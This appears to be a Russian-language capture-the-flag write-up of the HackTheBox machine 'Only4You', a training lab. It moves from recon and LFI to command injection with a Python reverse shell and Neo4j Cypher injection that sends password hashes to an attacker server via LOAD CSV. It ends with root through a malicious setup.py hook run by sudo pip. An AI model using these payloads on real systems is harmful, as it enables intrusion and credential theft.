Обзор сервисов
Проведем стандартную разведку с помощью nmap
:
$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.210 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 08:42 EDT
Nmap scan report for 10.10.11.210
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2148.45 seconds
Классические порты для Linux машин HackTheBox.
Веб-приложение
Для перехода на веб-приложение потребуется внести домен only4you.htb
в /etc/hosts
:
echo "10.10.11.210 only4you.htb" | sudo tee -a /etc/hosts
После добавления попадаем на веб-приложение.
С помощью gobuster
находим еще один домен и добавляем его в /etc/hosts
:
$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://only4you.htb -t 20 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://only4you.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: beta.only4you.htb Status: 200 [Size: 2191]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Если нажать на кнопку Source Code
, то скачается архив source.zip
. Внутри него обнаруживаем приложение на Python с использованием Flask.
$ unzip source.zip
Archive: source.zip
creating: beta/
inflating: beta/app.py
creating: beta/static/
creating: beta/static/img/
inflating: beta/static/img/image-resize.svg
creating: beta/templates/
inflating: beta/templates/400.html
inflating: beta/templates/500.html
inflating: beta/templates/convert.html
inflating: beta/templates/index.html
inflating: beta/templates/405.html
inflating: beta/templates/list.html
inflating: beta/templates/resize.html
inflating: beta/templates/404.html
creating: beta/uploads/
creating: beta/uploads/resize/
creating: beta/uploads/list/
creating: beta/uploads/convert/
inflating: beta/tool.py
Изучение кода
В файле app.py
видим следующие эндпоинты:
@app.route('/list', methods=['GET'])
def list():
return render_template('list.html')
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
Заметим, что проверка в эндпоинте /download
не включает абсолютный путь, то есть, мы можем подавать путь от корня.
Проверим и получим Local File Inclusion.
Local File Inclusion
Что мы можем делать с помощью LFI? Пробуем найти, где находится основной исходный код приложения.
Стоит предположить, что перед приложением стоит реверс-прокси Nginx.
Отсюда мы узнаем локальный путь к файлам приложения:
/var/www/only4you.htb
/var/www/beta.only4you.htb
Теперь мы можем прочитать код основного веб-приложения:
Стоит обратить внимание на файл form.py
, из которого импортируется функция sendmessage
:
В функции issecure
есть вызов subprocess.run
относительно переменной domain
, которая, в свою очередь, приходит из переменной email
и при этом не подвергается санитизации данных. Это значит, что там есть Remote Code Execution.
Приготовим реверс-шелл:
export RHOST="10.10.16.30";export RPORT=4242;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
Закодируем его с помощью URLEncode, запустим netcat
и отправим запрос.
rlwrap nc -lnvp 4242
Для удобства перейдем на Meterpreter.
Port Forwarding
Посмотрим, какие порты заняты внутренними сервисами.
$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1051/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Новые порты:
8001
- веб-сервер3000
- gogs (git-сервер)7474
- neo4j3306
- mysql
Пробросим порты на локальную машину. У меня не вышло сделать это с помощью Metasploit, поэтому воспользуемся chisel
. Запустим на локальной машине в качестве сервера:
$ ./c server --reverse --port 4244
2023/08/19 10:51:59 server: Reverse tunnelling enabled
2023/08/19 10:51:59 server: Fingerprint 53Gxhuvn6Ax3lHNCuurKiBh0PNNNbSXWpNF7AUKjUzA=
2023/08/19 10:51:59 server: Listening on http://0.0.0.0:4244
Загрузим через Metasploit бинарник на атакуемую машину и запустим туннель.
$ ./c client 10.10.16.30:4244 R:58001:127.0.0.1:8001 &
2023/08/19 14:55:36 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:55:37 client: Connected (Latency 50.508471ms)
$ ./c client 10.10.16.30:4244 R:53000:127.0.0.1:3000 &
2023/08/19 14:56:20 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:56:21 client: Connected (Latency 49.871227ms)
$ ./c client 10.10.16.30:4244 R:57474:127.0.0.1:7474 &
2023/08/19 14:57:00 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:01 client: Connected (Latency 64.101164ms)
$ ./c client 10.10.16.30:4244 R:53306:127.0.0.1:3306 &
2023/08/19 14:57:46 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:47 client: Connected (Latency 49.919297ms)
Neo4j
Gogs
Веб-приложение
Пробуем стандартные креды admin:admin
и попадаем в админку.
Во вкладке Employees
мы можем делать запрос по сотрудникам. При этом мы уже видели Neo4j.
Посмотрим на инструкции по Neo4J. Нужно запустить сервер на питоне и выполнять SQL-инъекцию:
python3 -m http.server 8081
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.30:8081/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
10.10.11.210 - - [19/Aug/2023 11:21:44] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [19/Aug/2023 11:21:44] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
10.10.11.210 - - [19/Aug/2023 11:21:44] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [19/Aug/2023 11:21:44] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
База данных Neo4j 5.6.0 community.
Теперь аналогичным образом получим лейблы:
'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.30:8081/?label='+label as l RETURN 0 as _0 //
10.10.11.210 - - [19/Aug/2023 11:24:58] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:24:59] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:24:59] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:00] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:00] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:02] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:25:02] "GET /?label=employee HTTP/1.1" 200 -
В базе лейблы user
и employee
.
Перечислим пользователей:
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.30:8081/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [19/Aug/2023 11:27:56] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:57] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:58] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:59] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:27:59] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:00] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:00] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:01] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:01] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:02] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:03] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:04] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:04] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:05] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [19/Aug/2023 11:28:05] "GET /?username=john HTTP/1.1" 200 -
Пользователи:
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
Загоняем хеши в crackstation.net и получаем пароли:
Попробуем подключиться к SSH как john
:
$ ssh [email protected]
ThisIs4You
Пользовательский флаг
-bash-5.0$ ls
user.txt
-bash-5.0$ cat user.txt
de020dc2d84baed3354c789126cdbfe6
Повышение привилегий
Нам доступно выполнение pip download
с Gogs сервера.
-bash-5.0$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Креды от SSH так же подходят к нему.
Создадим пакет с полезной нагрузкой, в которую пропишем SUID флаг на /bin/bash
. Воспользуемся инструкцией.
$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
Cloning into 'this_is_fine_wuzzi'...
remote: Enumerating objects: 37, done.
remote: Counting objects: 100% (37/37), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 37 (delta 17), reused 8 (delta 1), pack-reused 0
Receiving objects: 100% (37/37), 9.14 KiB | 1.83 MiB/s, done.
Resolving deltas: 100% (17/17), done.
$ nano setup.py
import os
from setuptools import find_packages, setup
from setuptools.command.egg_info import egg_info
from setuptools.command.install import install
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
$ python3 -m venv env
$ source env/bin/activate
$ pip install setuptools build
$ python3 -m build
$ ls -la dist
total 16
drwxr-xr-x 2 user user 4096 Aug 19 11:43 .
drwxr-xr-x 7 user user 4096 Aug 19 11:43 ..
-rw-r--r-- 1 user user 1901 Aug 19 11:43 this_is_fine_wuzzi-0.0.1-py3-none-any.whl
-rw-r--r-- 1 user user 2754 Aug 19 11:43 this_is_fine_wuzzi-0.0.1.tar.gz
Теперь файл dist/this_is_fine_wuzzi-0.0.1.tar.gz
нужно загрузить в качестве файла в репозиторий Gogs.
cd dist
git init
git add *
git commit -m "init"
git remote add origin http://127.0.0.1:53000/john/newrepo.git
git push --set-upstream origin master
Теперь на машине можем выполнить pip
.
$ sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Downloading http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
- 2.8 kB 10.6 MB/s
Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
$ /bin/bash -p
Флаг суперпользователя
bash-5.0# cd /root
bash-5.0# ls
root.txt scripts
bash-5.0# cat root.txt
1063c2d3ad0477bc7bf395ec165b572e